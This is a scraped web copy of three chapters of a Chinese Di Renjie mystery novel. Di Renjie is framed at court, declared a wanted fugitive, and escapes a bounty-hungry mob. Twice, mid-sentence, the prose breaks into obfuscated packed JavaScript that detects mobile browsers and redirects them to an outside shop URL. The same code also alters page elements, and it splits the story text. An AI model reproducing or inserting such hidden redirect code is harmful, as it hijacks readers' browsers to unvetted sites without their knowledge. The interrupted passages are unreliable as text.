“如果他狄仁杰确实是有事要出京城,比如说是陛下差遣,那么他也应当留下几句话给陛下,而不是突然就离开。何况陛下这次根本就没有差遣他出城,他自己擅自离开,本就罪不可恕,更何况,还杀害了兵部尚书一家人,而且,还劫走了彭羽本人,带着彭羽一起出了城。这是有证据的,因为彭府作案现场并没有发现彭羽的尸体,所以说,他一定是被人给劫走了,而劫走彭羽之人,不是他狄仁杰又会是谁?这么看来,他狄仁杰这次犯案早有预谋,所以才联合奸细大开了城门,连夜出逃。这也是证据。” “这么说,”武皇道,“彭大人不在神都了?” “回陛下,”武三思道,“虽然不知彭大人如今是死是活,但可以肯定的是,他绝对不在神都,而是跟着犯案者狄仁杰在一处,也就是在洛阳城外。” “那你再说说,还有什么证据啊?” “回陛下,”武三思道,“还有一个更大的证据,那就是人证。” “哦?”武皇一听到这“人证”二字,似乎比刚才更多了些兴趣,于是问道。“什么样的‘人证’啊?” “这个嘛,”武三思说到这里,脸上不由自主地流露出了欣喜,“陛下可以问一问宇文寺卿,他对这个案子,比臣更了解。” “宇文豪。”武皇道。 “臣在。”大理寺卿宇文豪出班道。 “梁王所说的‘人证’,指的是谁啊?”武皇问他。 “回陛下,”宇文豪有些犹豫地道,“这是两个不同的案子,也是不同的证人,却同时指向一个事实,也就是……”说到这里,偷偷瞄了一眼武三思,见他悄悄回过头,看了自己一眼,于是只好继续说道,“也就是,狄阁老,是凶手。” “哦?”武皇道,“你说狄怀英是凶手,而且还有证人?” “是的,陛下。”宇文豪道,“臣说的两个不同的案件,指的是彭府灭门一案,还有军粮被劫一案。当然,彭府除了被灭门以外,彭大人也确实是被劫走了,而军粮被劫以外,运粮队也着实是被杀害了。” “那又如何?” “但这两个案件,却都有目击证人,并且他们都亲眼目睹了凶手作案的全过程,而且他们都出来作证了,说凶手就是狄阁……狄仁杰。” “他们是谁啊?”武皇问。 “回陛下,”宇文豪答道,“分别是,巡逻队队长吕成和他带领的十几个巡逻队员,还有最新派往边关去的朝廷运粮队中的一个运粮队员、在这次劫杀中活下来的幸存者、一个绰号叫作‘小马猴’的青年。” “你说他们都指认狄仁杰是凶手,他们都说些什么呀?”武皇又问。 “回陛下,”宇文豪答道,“首先是吕队长和他的巡逻队,臣知道他们是徐主帅麾下的人,大理寺也不敢随便就去审问,但他们毕竟是彭府灭门案发当夜唯一在大街上巡逻的,所以臣猜想,他们极有可能会对这件事有所了解,因此还是决定要审问一番,于是先去征得徐主帅的同意,徐主帅也很体谅臣,说大理寺可以随便审问,臣便审问了一番巡逻队。他们于是,说出了一番话,把臣给吓死了……” “他们说了什么话?” “他们说……”宇文豪嗫嚅道,“当着陛下的面,臣不敢说。” “当着陛下的面,更应该说!”武三思厉声道,“宇文豪,你难道知情不报吗?!” “臣……臣不敢!”宇文豪唬得忙叫道。 “怕什么,你只管说,朕听着呢。”武皇冷冷道。 “巡逻队说,”宇文豪只好说道,“当夜,狄仁杰和他的护卫韩忠义等人,不但杀害了彭大人一家,还……还丧尽天良,去……去侵犯府里的女仆……” 这话一出,朝堂之上登时哗然。许多大臣都“啊”的一声惊呼,吓得瞠目结舌。 “逆贼啊,禽兽不如!”武三思大声骂道,“谁能想到狄阁老是这样的人哪,啊?真是知人知面不知心哪!” 大理寺寺丞卜裕正准备出班,突然被主簿屈福一把抓住手腕。卜裕见屈福向他使眼色,让他不要去,他却还是想去。 “你忘了阚老爷子的话了吗?”屈福见拦不住他,便连忙低声道。 卜裕一听,便停了下来,回头看了屈福一眼,就把刚刚走出一步的脚又缩了回来,继续待在了班中,微微低下了头。 屈福知道,卜裕准备出来为狄仁杰说话,因为他知道狄仁杰是被冤枉的。 但在这种时候,真相还有那么重要吗? 就算知道了真相,说出了真相,又能有什么用呢?能改变什么呢?他们会听吗? 卜裕也是个聪明人,他知道自己就算把真相说了出来,也于事无补,反倒有可能招来杀身之祸。因为真相,未必是有些人想要看到的结果。而这些人想要看到的结果,最后很有可能会变成真正的“真相”。 武皇这时候听了宇文豪的话,依然面不改色,只是淡淡地问道:“巡逻队当时目睹了这一切,为什么不去阻止呢?” “他们说,打不过韩忠义。”宇文豪回道。 “哦。”武皇仍是冷冷淡淡的样子。 “这……”武三思见武皇好像无所谓似的,有些不知所措,又回头叫宇文豪,“还有军粮的事儿呢?怎么不说了?” “哦,”宇文豪忙道,“运粮队这次全部遇害了,里面有个幸存的,绰号叫‘小马猴’,是个青年人,他说他侥幸活了下来,目睹了一群武功高强的黑衣杀手,将自己运粮队的同伴全部杀害了之后,抢走了军粮。这个活下来的青年说,他们当时在一个偏僻的树林里,却被那些杀手提前得知了行踪,早就埋伏好了,所以被杀了个措手不及。最后那些杀手离开以前,估计都以为运粮队员已经全部死了,相互之间就说了一句话,正好就被未曾遇害的小马猴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051965|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给听见了。” “说什么话了,快说!”武三思忙催他。 “他们说:‘赶快回去禀告狄大人’。” 这话一出,朝堂之上又响起了“啊”的惊呼声。 “就是狄仁杰了!”武三思大叫,“这世上还有几个‘狄大人’?!不是他狄仁杰又会是谁!” “这世上姓狄的多了去了,梁王怎么肯定,这个‘狄大人’就一定是指狄阁老呢?” 说话的是张柬之。 “张阁老,”武三思冷笑道,“如今是证据确凿,所有的指认和疑点都指向狄仁杰一个人,你还想为他辩护吗?嗯?” “梁王这是,‘欲加之罪,何患无辞’啊。”张柬之冷冷地说。 “哦?”武三思道,“本王在这里讲证据,阁老却在这里谈人情?莫非有点,公私不分了吧。啊?” “我怎么谈人情了?”张柬之看了他一眼。 “谁不知道,张阁老,是被狄阁老提拔的。若非狄仁杰,向皇上推荐你,你如今还能站在这里,跟本王平起平坐吗?” “梁王之意,是我张柬之徇私情,偏袒狄阁老了?” “难道不是吗?”武三思又乜斜着眼看了看张柬之。 “哼,梁王的证据,大部分也都只是疑点,那么我也来讲几个疑点。”张柬之慢慢走出班来,“第一,如果彭府是狄阁老灭门的,那么请问梁王,狄阁老这么做的动机是什么?” “不需要动机!”武三思直接叫道,“他狄仁杰已经这么做了,还要什么动机啊,啊?” “哼,”张柬之冷笑道,“梁王既然也知道,狄阁老没有犯案的动机,那么凭什么说这一定是狄阁老所为?如果一个人没有犯案的动机,那么他犯案的可能性就少之又少,因为连目的都没有,又为什么要去犯案呢?我请问,彭府灭门若是狄阁老造成的,对他又有什么好处?如果没有好处,他又为什么要这么做?” “这你不要问我!”武三思叫道,“你去问给了他狄仁杰好处的敌人!” “谁是你说的‘敌人’?什么又是你说的‘好处’?” “我不知道!” “梁王既然不知道,那就算不得是什么证据!”张柬之道,“我只知道,给了狄阁老最多好处的是陛下,而不是你信口胡说的什么‘敌人’。陛下已经赐给了狄阁老宰相的地位,那是一人之下、万人之上的地位。我请问梁王,还有什么好处比这更大?难道梁王的意思是,陛下所赐的好处,还不够大了?陛下没有能力赐更大的了?” “张柬之!”武三思大怒,瞪着眼指着他,大声叫道,“你不要给我乱扣帽子!” “我怎敢给梁王乱扣帽子,可梁王却敢给狄阁老这样的好人乱扣帽子!” “我有证据你有吗!” “你那算什么证据?”张柬之恶狠狠地瞪着他,“都只是瞎猜!我刚才说的第一点你就回答不了,我现在就再说一个给你听。请问,这个运粮队的幸存者,是怎么幸存下来的?” “你问我?我哪里知道!” “你既然不知道,那我可以告诉你我的想法。”张柬之说,“那些杀手既然武功这么高,那如何偏偏就漏了一个没有杀死呢?有没有可能,是他们故意放他回来的,目的就是为了要他说出那句话,那句他偷听到的,说什么‘禀告狄大人’的话。因为那句话是他们故意说出来给他听见的,为的就是要陷害狄阁老……” “胡说八道!没有这种可能!”武三思大叫。 “好啦,都别争啦。”武皇叹了口气。 张柬之、武三思二人方才罢休。 “现在还有一个问题,”武皇道,“这个跟你们曾经说过,就是不久以前,朕派了一个二百余人的搜查队前去边关查案,至今还没有消息。朕现在怀疑,队伍要么已经遭殃,要么已经背叛。而队长,又是朕不曾用过的人。朕虽然相信将这个队长推荐给朕的人,但这个队长,朕不信任。所以,朕宁愿相信,他已经背叛了。” “既然陛下怀疑,那就不要用他了。”张柬之道。 “是的,朕不打算再用了。”武皇说道,“而且如果他还活着,朕担心,他会去边关投敌。” “陛下可以下达通缉令,将他带回京城受审。”张柬之道。 “朕正有此意。” “陛下,”武三思道,“如果狄仁杰、韩忠义不抓,恐怕天下人会议论陛下。” “哦?” “陛下,”武三思道,“既然要下达通缉令,不如一箭双雕,把狄仁杰也抓回来审问。如果没问题,到时候再放也不迟。但如果有问题,他狄仁杰一旦到边关投敌,我大周的许多重要情报就要泄露了,到时候就晚了!虽然张阁老一直在为狄仁杰开脱,但他拿不出任何一个实在的证据,反倒是指认狄仁杰是凶手的证人多到数不过来,而且疑点也全部指向他。韩忠义的武功又绝对足够去犯下这些血案。因此,狄仁杰、韩忠义二人,必须得抓,否则天下人会议论陛下!” “如果真的不是他们呢?”武皇眯眼道。 “宁可错杀,不可放过!”武三思道。 徐杰正在犹豫,要不要上交狄仁杰临走前留下来的那封信。 但就在这时,武皇已经开口了。 “传朕旨意,全国搜捕马肃、狄仁杰、韩忠义……” 20. 第二十章 通缉 狄仁杰一行人自离五湖镇以来,晓行夜宿,饥餐渴饮,争分夺秒地向前赶路,都争取要在最短的时间内赶到边关,却因那天晚上离开五湖镇时太过匆忙,几匹马都忘在了那间小客栈的马棚里了,于是几人只好步行,无非就是加快一点步伐,不再在途中耽搁而已,更兼一路之上并未见有杀手从后面追来,倒还算是平安顺遂。 过了五湖镇的湖,前方的市镇倒是越来越多了起来,有时人烟稠密,有时人烟稀少,都是或相连在一起,或有郊区山林隔断,但都不是大去处,而是一些小地方。 中途,被寒刀帮的杀手领头打伤的胡乐、狄宁二人在狄仁杰不断为他们针灸一段时间过后,内伤减轻了,身体逐渐康复了起来,到后来体力如初,现在早已痊愈了。 鹃儿也一直用心照顾他们,饮食便是她喂的,把个胡乐感动得一直流眼泪,心里更是幸福的了不得。胡乐甚至隐隐地盼望着,自己的病不要好得那么快,这样鹃儿就可以照顾自己更久一点了,最好是一辈子。每当他看着她那温柔体贴的可爱模样,他就完完全全地理解了人世间的所有美好,而且这些美好的总和,依然比不上她。 现在胡乐、狄宁二人虽然已经好了,只是那身中了雪松针的马肃至今还仍是处于昏迷状态,尚未醒转。狄仁杰给他把脉,发现他的内伤还是很严重,确实是短时间内醒不来的。 于是几人都很忧愁,因为马肃毕竟在五湖镇里先是救了韩忠义一命,后来又救了狄仁杰一命,实在也算是救命恩人了。但此刻他依旧醒不来,狄仁杰扎针的效果似乎也微小得很,只好一路上几个人轮流背着他走了。 其中背的主要是胡乐和狄宁,虽然胡乐总是抱怨“真他妈重啊”,但想到那天晚上差点被那杀手领头的弄得团灭了,要不是马肃及时出手,恐怕自己几个人如今早已不在了,所以胡乐还是减少了些怨言,一路上也有用心去背,只是每次累了,就赶紧跟狄宁去换。 狄仁杰和韩忠义还担忧,如果马肃突然一命呜呼,那么线索就会中断,他身上的秘密也会随之而去,到时候案子也就更难破了。 狄仁杰虽然已经猜到,马肃就是皇上派去的搜查队的队长,但如今搜查队二百余人本身到底怎么样了,依然是个谜团。是已经遇害了吗?狄仁杰觉得,这种可能性最大。因为队长不太可能会是跟自己的队伍走丢了,而如果真是如此,也不应该回京城方向来寻。狄仁杰现在也不多去猜想,因为马肃不醒,这一切都还不好说。 现在要说的是,狄仁杰一行来到了前方一处市镇,然后接下来发生了一件事,不但把韩忠义、胡乐、狄宁、鹃儿几人吓到了,而且连狄仁杰都没有完全料到,事情竟然会发展到这一步。 他狄仁杰之前只是隐隐地感觉到,会有这种可能性,甚至这种可能性很大。但这件事突然降临到他面前的时候,还是让他觉得有点出乎意料,甚至难以置信。因为他宁愿相信这种事是绝对不可能发生的,至少不应该发生在自己身上,可结果还是跟他之前猜想的一模一样,这件事终究还是发生了,而且来得不早也不晚,就在这一刻,如约而至。 街上有一群人,在一个墙边,争看几张图纸告示。 狄仁杰一行见了,便也都凑近前来,挤进人群,来到前面,一齐往那高大的白墙上,觑了一眼。 是几张缉拿榜文。 他们细看,上面是三个人的画像。 这三个人,是官府新开的海捕文书所通缉的朝廷头号罪犯。 其中一个是中年粗汉,一个是老年人,还有一个长得很瘦。 狄仁杰一行乍一见,都大吃一惊,大眼瞪小眼了起来。 这三名罪犯到底是什么人? 从左到右:一个是马肃,一个是狄仁杰,还有一个是韩忠义。 其上大略描述曰: “马肃,乃朝廷派往边关的搜查队队长,领队员二百余人。却因通敌叛国,出卖军情,致使全队队员被害。现于大周境内逃亡。” “狄仁杰,乃当朝宰相。却因杀害兵部尚书彭羽一府人员,并劫走彭羽本人,又与部下于逃亡中,沿途杀害朝廷运粮队,再劫去送往边关的军粮几千石,二者皆为其送与敌国之见面礼,实乃罪无可恕。现于大周境内逃亡。” “韩忠义,乃狄仁杰之护卫。却因武功高强,甘愿沦为逆犯同伙,行此大逆不道之举,更是罪该万死。现与狄仁杰一同于大周境内逃亡。” 每张通缉令上还标注着各人所值赏银数额,共总不下百两黄金。 狄仁杰几人看罢,一个思索皱眉,一个圆睁怒目,一个张开大嘴,一个面如死灰,还有一个不明就里。 胡乐正欲破口大骂,被韩忠义看见了,连忙踹了他一脚,听他“哎哟”了一声,方住了口。 狄仁杰一行六个人当中,竟然就有三个人被通缉,实在是难料。 这时他们身处人群当中,一转身立时便会暴露,于是都不敢动,也不敢多言。 听得人群中一个人道:“俺不识字儿,谁告儿俺这上边儿咋地念?” 其中一人便将三个通缉令从头到尾读了一遍,众人中不识字的都“哦”了一声。 一个老头叹道:“狄老爷可是青天大老爷啊!唉,当年也怪俊的一个少年,现在也老喽。” 狄仁杰听了,微微一笑。 另一个年轻人冷笑道:“不但老喽,还杀人通敌喽!” 那老头眼一瞟,指着他怒道:“小屁孩儿!你怎地就知他老人家杀人通敌啦?你有亲眼见到?” 那年轻人冷笑一声,一脸不屑地说道:“我怎么会见到!你老人家没见榜文上写着吗?” 那老头道:“榜文上写着又咋嘛地?榜文写错了也有可能。” 登时便又来了几个人跟着那年轻人一块起哄,齐声叫道:“哟嘿!你这话儿有点儿意思啊!难不成官府朝廷还写错了不成?” 那老头怒道:“你们一起黄口小儿,懂个吗子屁!狄老爷当年办案时,你们还没影儿呢!什么官府朝廷,怎么着了?官府朝廷就一定对吗?要真对了话,又会去抓狄老爷?” 一群人哈哈大笑了起来,其中一个道:“老头儿!你替通缉犯说话儿,莫非也是‘逆犯同伙儿’?” 那老头皱眉道:“你什么意思?” 另一个年轻人瞪着眼笑道:“什么意思呢?这狄仁杰如今可不是宰相哟,是杀人犯!他以前办案,关你什么事儿啊?还是他给了你贿赂,你才替他说话儿?”说罢,一群人都齐声乱嚷。 韩忠义听了大怒,正欲发作,狄仁杰忙使眼神,方才止住。 听那老头喝道:“放你的狗屁!老朽怎地会受他贿赂!” 那老头的邻舍历婆在旁插口道:“小子们,干吗欺负单老汉啊?血口喷人可不好。” 一个年轻人望着她笑道:“哟,这不是厉婆儿?我前儿见你屋里又走出个和尚来,怎么,老公都死了好几年了,又搞起法事来啦?” 那厉婆被他给说中了心事,登时大怒了起来,气得浑身发抖,指着他尖声大骂:“我臊你娘的个猴儿崽子!你奶妈子跟和尚搞法事来!” 那年轻人本是开玩笑,被她这么一骂,登时也大怒了起来,喊叫着指着她大骂:“好啊!你个老娼妇,老咬虫,老猪狗!跟老头儿一块儿,都是逆犯同伙儿啊!既然是同伙儿,也值些赏银吧!” 说着,与一群人一齐动起手来,要将二人带到县衙门去。 那单老汉气得几乎昏了过去。 那厉婆早发疯似的尖声大叫了起来,扬手一耳光打在其中一个年轻人的脸上,又揪着另一个的头发乱打。 众人里见闹事连忙走了几个,来看热闹的却倒更多了,都笑着脸,谁也不出手相帮。 狄仁杰一行本可以趁机溜走,却见那为自己说话的单老汉被一群人给打得鼻青脸肿,于是都留下来劝解。 “你们快住手!”狄仁杰几人连忙大叫,“怎么一群人欺负一个老年人?” 众人一看,见老的是画像上的那个人,他旁边高个儿的是另一个画像的,再一看,一个昏迷的又是一个画像的。 众人大惊,指着叫道:“你,你,还有背上那个……是你们!三个通缉犯都在!” 这时众人里围观的,见三个通缉犯皆在,都想到了那百两黄金的赏银,遂与前面那一伙人商议道:“欸,他们可不好抓,就你们几个能行?我们帮着来,怎样?” 一伙人笑道:“到时候自不会少了你们好处儿。” 遂有将及四五十人一齐扑向狄仁杰他们。 韩忠义挡在前面怒道:“你们做什么?!” 众人道:“送你们见官!” 韩忠义一把将众人推开,指着榜文道:“这谁贴的破纸儿?大人和我,还有……怎么会变成杀人逆犯了呢?这不明摆着是陷害嘛!” 胡乐看着榜文道:“咋地没我呢……” 韩忠义回头怒道:“最好就只带你一个人去见官,别拖累了大人和我!” 众人一拥而上,被韩忠义又是猛地一推,登时摔倒了一大片。 许多人在地上道:“怪道这韩忠义造反呢,原来真是因为武功高强的缘故!” 韩忠义明知他们说的是榜文上写自己“却因武功高强,甘愿沦为逆犯”的话,不觉大怒,骂道:“狗屁!这他妈算什么话!就算我沦为逆犯,这跟我武功高不高强有什么关系?难道就因为我武功高强,所以我就沦为逆犯了?哼!这也算是他妈个理由?!” 众人一听,都“哈”的一声,齐道:“韩忠义!你亲口承认啦!你的确是‘沦为逆犯’了吧!” 韩忠义没听明白,道:“什么?我如何亲口承认了?” 众人道:“你说‘我沦为逆犯’,有没有?还想抵赖!” 韩忠义这下听明白了,摇头冷笑,道:“你们这是串通好了吧?连说的话儿都一致啊!我方才说的是‘就算我沦为逆犯’,有直接说‘我沦为逆犯’了吗?‘就算’,说明我就不是!我又没说我‘就是’沦为了。怎么着啊,找我话里漏洞,好断章取义呢?” 那单老汉忽然跪下道:“狄老爷!这么些年喽,老朽还能再见到你啊!” 狄仁杰赶忙将他扶了起来,道:“老人家,这可受不起。” 单老汉眼泪掉了下来,道:“记得是三十多年前,我被人冤枉,带到了官府衙门那儿去。那些个官吏连案情都不问,就问我要银子!那时,狄老爷官儿呢,还没今儿个大,却一眼看出了我的冤情,替我做主洗冤了。他老人家是我再生父母,我无以为报!他还不是个好人,谁是?”又指着众人叫道:“你们吗?” 他看着狄仁杰又道:“狄老爷,我相信,你是个好官儿啊!这世道啊,人心都忒坏喽!可是狄老爷你,就是当上了宰相,一样能够造福百姓!这跟官大官小没关系!你又怎会是杀人通敌的呢?不可能!一看就是朝廷错喽!” 狄仁杰苦笑道:“老人家,你信得过狄某,我多谢你啦。至于是非公论,也不是狄某一人所能决定的。好人好官,我相信历来有之。古时有,将来也会有。狄某只愿无愧于天地良心,也就足矣。倘若能为百姓做一点小事,则更好。”说着,掏出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051966|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点碎银子给他,又悄声道:“老人家,以后关于朝廷,某些事,心里知道就行了,也不必说出来,以免惹人误会。快回家去吧。” 单老汉哭着道了谢,正要走,却被众人当面拦住,不让他走。 其中一人朗声道:“大伙儿都瞧见了吧!这老头子确是受了狄仁杰的贿赂,才替他说话儿呢!演得好一场戏啊你们!” 单老汉听他这么一说,又见众人都跟着起哄,气得大声道:“你……!你胡说八道啊你!我……我一开始根本就不认识……不是不认识,是不知道!我不知道狄老爷他们就在这儿!我怎么受贿赂了我?我……” 众人又是乱喊乱叫,跟着起哄。 狄仁杰忙解释道:“诸位!请不要误会,狄某是看这位老人家穿着褴褛,才给了他些碎银子,不是贿赂。” 这时围观的人愈来愈多,有将及百余人了。 后来的尚不知情况,听前面一直在的一个人冷笑道:“狄仁杰,你们是戏子吧?从一开始装作不认识,到后来老头子一出事儿,你们便出手相救,外加再来一个什么三十多年前的冤案,哈哈!编啊,继续编!真是感人肺腑啊!老头子,拿了狄老爷贿赂,就想走啊?” 韩忠义怒道:“你们不就是要那黄金赏银吗?欺负一个老人家,无理取闹,算什么东西啊!” 胡乐将马肃换与狄宁来背,腾出手来跟着韩忠义一起指着众人叫骂:“是啊!你们他妈的以多欺少,算个鸟屁!” 其中一个人冷笑道:“几个逃犯,没理儿了,就会乱骂人?我们才不是为了赏银呢,是为了天下太平!”众人齐称是。 韩忠义叫道:“我都说了!我们没有杀人,没有通敌,你们还想怎么样!” 众人道:“没想怎样啊,走吧,去见官吧。” 韩忠义叹了口气,苦笑道:“为什么要见官?人又不是我们杀的,你们怎么就不信呢?” 众人道:“就是你们杀的!否则你们干吗不敢见官?做贼心虚了!” 韩忠义辩解道:“没有!我们没有!彭府一事,谁人不知?有误会也就罢了!可这杀运粮队、劫军粮又怎么说?还能这么扣屎盆的!” 一人冷笑道:“别装啦臭戏子!既做了婊子,又想立牌坊?” 又一个笑道:“不做婊子,能当上宰相?”众人跟着大笑。 鹃儿指着众人叫道:“你们好过分哪!狄老爷又没有得罪你们,你们干吗说这些不好听的话!” 众人“哟”的一声,齐望向她笑道:“原来狄仁杰几个中间还真有个小婊子啊!长得怪俊哪!你是陪狄仁杰几个睡觉的吧?也陪陪咱啊!”说罢众人又笑。 鹃儿羞得涨红了脸,忍不住大哭了起来。 韩忠义怒不可遏,随便抓了一个大笑的人来,直问到他脸上:“你他妈是人?”气得浑身发抖,说不出话来了。 那人瞪眼道:“武功高了不起啊,来啊,你有种的就杀了我呀!哼,反正也不是第一次杀人了。朝廷命官一家子,还有运粮队,都是被你们给杀害的!” 胡乐冲过来就一巴掌打那人脸上,怒骂众人的“祖宗十八代”。 狄仁杰忙叫:“忠义、胡乐!我刚刚才说的,只要无愧于天地良心,就什么也不怕!不干他们的事,他们只是被人给利用了。勿要伤人,将虚无的罪名给坐实了!” 韩忠义猛地一推,将那人推倒。 众人都冷笑,有的道:“这些大道理,真是笑杀人了!装给谁看?就这么个无耻的人来当国家宰相,天下能不乱嘛!” 又有的道:“做了错事还不敢承认,满口胡言乱语,就是一个伪君子!都当了乌龟王八了,还以为缩回脖子就不是了!能说会道的,连皇上都给他骗了,这才当的宰相!他连那老头子都给贿赂,为什么?不就是为了要买好名声嘛!当这么大的官,也不知使了多少银子呢!” 还有的道:“当宰相单是用银子还不够。” 众人问:“还要啥?” 那人笑道:“还得不要脸!听说当今皇上爱养男宠,嘿嘿,敢问狄大人,啥子滋味儿啊?” 众人听了,都哄然大笑了起来。 胡乐怒气冲天,颤声大骂:“你们都不是东西!你们太坏啦!为什么你们这么坏,坏得没理由。我们怎么你们了,你们这样。我们老爷一心为国为民,你们干吗要这么侮辱他!” 众人指着狄仁杰道:“我们侮辱他了?那让他亲口来说。他怎么不说话啊?怎么都是你们几个奴才来替他辩解啊?” 胡乐看着狄仁杰叫道:“老爷,你也说句话儿啊!” 狄仁杰不答。 众人哈哈大笑道:“看见了吧!他不说话,那就是默认了!姓狄的就是一个陪皇帝睡觉的,皇帝玩儿够了,就不要他了!哈哈哈!” 韩忠义突然大喝一声,唬得众人后退了几步。 听他含泪叫道:“说到底,就他妈的怪皇上!” 狄仁杰忙断喝,韩忠义却继续说道:“我自从看到了通缉令的那一刻起,我就纳闷儿了。官府在他妈大胆,也不敢通缉宰相吧?怎么大人好好的,竟成了头号通缉犯了呢?皇上若不点头,谁又他妈的敢!” 胡乐也大骂:“是啊!他奶奶的,我去他妈了个朝廷的,就是个鸟屁!我们替皇帝办案子做事儿,到头来皇帝倒来坑我们呢!派我们出来……” 狄仁杰怒喝:“你们两个给我住口!” 韩忠义、胡乐一见狄仁杰如此愤怒,立时便不敢再说了。 众人为了赏银,趁他们不备,将及有七十多人同时扑将来。 21. 第二十一章 中计 突然那单老汉挡在中间,大叫:“我不让你们动狄老爷他们!” 这时人群中一人尖声叫道:“家邻啊!别挡路!抓了他们有赏银拿呢!” 众人一看,见说话的正是厉婆。 单老汉一见是她,更加气恼,怒道:“厉婆儿!你到底是站在哪一边儿的?!” 那厉婆大笑道:“哪一边儿有‘利’,就站在哪一边儿!” 单老汉火冒三丈,指着厉婆厉声大骂:“贼婆娘!老朽我瞎了驴眼,还当你是个人儿呢!原来就是个见利忘义的老娼妇!一大把年纪了都,还养和尚呢!还不止一个呢!今儿我都给说了出来,大伙儿给听听!有清誉和尚、净洁和尚……” 那厉婆气得直翻白眼,大叫:“大伙儿给老娘冲!先杀了这老王八,再抓狄仁杰他们!别忘了,到时候我要一两黄金!” 众人里有许多到附近拿来了一大堆刀枪棍棒等各色武器,这时众人手里都有了,是明知韩忠义不好对付,才提前预备好了的。 正待动手,忽见一排排衙役簇拥着一乘轿子,伴随着敲锣喝道之声而来。 众人均知是县老爷到了,忙皆上前请安问好。 那老爷下了轿,道:“适才有人报案说,见到了三名逃犯……” 众人忙道:“是,是,是!三人都在此,老爷请看!” 一回头,都大吃一惊。 除了那高大的白墙,还有上面贴的榜文,哪儿有狄仁杰他们的人影儿? 原来就在刚刚众人都忙着去迎接那县老爷时,狄老爷一行早跑得远远的了。 众人这才发现,也已经迟了。 他们于是互相埋怨道: “这都他妈的能给放跑?!” “你们咋地不看好人呢!” “我想总有谁看着呢嘛,怎地没人看呢?” “我也是这么想啊!” “谁都这么以为,结果谁都没看,就让他们给跑喽……” 那厉婆跺脚大骂众人:“你们一群蠢到家的死猪啊!赔老娘的黄金啊!” 众人见了厉婆,齐声叫道:“先拿这贼婆娘出气!” 不由分说,都揪起婆子,一顿挦毛捣鬓活活给打死了。 众人更恨那单老汉,找了半日,却不见他的踪影。 那县老爷大怒,骂众人道:“一群胆大包天的刁民,竟敢戏弄本官!明明就没人,还说三个逃犯都在。来人哪!将闹事的刁民都带到衙门里去打板子!” 众人哭道:“天哪!没了黄金,倒多了板子呀!” 原来趁着县老爷到来的空隙,狄仁杰一行便趁机溜了,又怕他们来寻单老汉的晦气,于是将他也带上了。 单老汉告诉说,他郊外乡里有个老家可以住。 狄仁杰一行遂绕远路,至傍晚时分,平安将老人送到。 狄仁杰微笑道:“老人家,狄某今日多谢有你相助。” 单老汉还邀请几人进他屋里去吃饭,狄仁杰几人见他贫寒,也不便多留。 单老汉只好叫他们等一会儿,一时拿出了些干粮馒头送给他们。 狄仁杰几人只好收了,又多谢了几句,一行人便忙着赶路去了。 单老汉目送着他们的背影,消失在了落日照得通红的稻田里。 狄仁杰他们行了几里路,天色渐暗了起来,乡间的田野里变得黑沉沉一片,有些看不清道路了。 狄仁杰突然向前一指道:“你们看,那有个马厩。” 胡乐笑道:“嘿,正好,咱正需要几匹马呢。” 狄仁杰问还有多少银子。 狄宁道:“不多了,原本就没带多少出来,现在身上的不到二两。” 狄仁杰叫他把银子全部都拿出来,再去牵五匹马来。 胡乐道:“老爷,咱就这点儿子了,还都拿呀!这大半夜里的,又没人儿瞧见,这偷偷牵走了就完事儿呢,还这么麻烦付啥钱呢。” 狄仁杰道:“凡事不单是行与人看,还有上天鉴察。庄稼人本就不甚富裕,我等岂可白拿其马匹而不付钱。若非急待赶路,即便是付了钱,这等偷偷摸摸的行径,亦非正当。去将银子放在显眼处。” 韩忠义于是入了马厩,将银子摆在了马槽边上,又牵了五匹马出来。 胡乐喃喃抱怨道:“这下好,一贫如洗喽!到时候连饭都没得吃,饿死得了!” 韩忠义瞅了他一眼,笑骂道:“你少说两句吧!生死有命、富贵在天,就算饿死,也不能做亏心事儿啊!” 狄仁杰、韩忠义、胡乐、狄宁、鹃儿,各自上马,将昏迷的马肃横放在马背上,与狄宁一骑,齐向大道奔驰。 行了有将及两个时辰,林子里将马拴在了树上,各自吃了些馒头。 正欲歇息,狄仁杰忽然道:“忠义、马肃还有我,我们三个人被通缉了。如今全国各处关口查得甚严,只怕水陆两道皆行不通。” 韩忠义问那怎么办,狄仁杰只是摇头思索。 胡乐打了个哈欠,嘴里嘟嘟囔囔地唱起歌来了:“咱洛阳儿回不了,边关儿又没法儿到,只有待在原地儿,那个空呀空牢骚。顾得了头儿,又顾不了脚,空那个空烦恼……” 韩忠义听了更加烦躁了,本就因为自己和狄仁杰被莫名其妙地通缉的事而感到极致的不舒服了,再加上早上那一群恶心的人和他们说的恶心的话,自己更加地气恼,真的很想打人,甚至杀一个人看看,但又没机会,于是早生了一天的闷气,这时候一听到胡乐那语调,那种懒懒散散的语调,无所谓似的唱着歪歌的语调,当场就气得快要发疯了,于是忍不住指着胡乐大声喊叫了起来,把狄仁杰几个人都给吓了一跳。 “你他妈的现在说这些有个屁用!你不会想想办法啊?!你吵什么吵!我快疯了你知道吗!” 胡乐也被他突然这么一喊叫,吓了一大跳,不由得也大怒了起来,朝他大声喊道:“你喊什么呀?!你吓死我了!” “你信不信我杀了你!”韩忠义指着胡乐瞪眼狂叫。 “你敢吗,狗杂种!”胡乐也瞪着眼大叫。 “都不要吵啦!”狄仁杰道。 